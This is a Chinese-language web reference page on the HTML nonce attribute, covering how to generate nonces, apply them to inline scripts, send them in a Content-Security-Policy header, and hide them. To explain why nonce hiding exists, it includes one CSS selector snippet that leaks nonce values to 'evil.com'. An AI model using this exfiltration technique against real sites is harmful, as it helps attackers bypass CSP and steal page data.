HTML nonce 全局属性

描述

nonce 属性有助于允许特定元素，例如特定的内联脚本或样式元素。它可以帮助您避免使用 CSP 的 unsafe-inline 指令，该指令会允许所有内联脚本或样式。

使用 nonce 允许 <script> 元素

使用 nonce 机制允许内联脚本涉及几个步骤。

生成值

在您的 Web 服务器上，使用加密安全的随机数生成器生成一个至少 128 位的随机 base64 编码字符串。Nonce 应该在每次页面加载时都不同（nonce 仅使用一次！）。例如，在 nodejs 中：

import crypto from "node:crypto";

crypto.randomBytes(16).toString("base64");
// '8IBTHwOdqNKAWeKl7plt8g=='

允许内联脚本

您后端代码中生成的 nonce 现在应该用于您想要允许的内联脚本。

<script nonce="8IBTHwOdqNKAWeKl7plt8g==">
  // …
</script>

通过 CSP 标头发送 nonce

最后，您需要将 nonce 值发送到 Content-Security-Policy 标头中（前缀为 nonce-）。

Content-Security-Policy: script-src 'nonce-8IBTHwOdqNKAWeKl7plt8g=='

访问 nonce 和 nonce 隐藏

出于安全原因，nonce 内容属性是隐藏的（将返回一个空字符串）。

script.getAttribute("nonce"); // returns empty string

nonce 属性是访问 nonce 的唯一方式。

script.nonce; // returns nonce value

Nonce 隐藏有助于防止攻击者通过可以抓取内容属性数据的机制（例如此处的）来窃取 nonce 数据。

script[nonce~="whatever"] {
  background: url("https://evil.com/nonce?whatever");
}

规范

浏览器兼容性

另见

• HTMLElement.nonce
• 内容安全策略
• CSP：script-src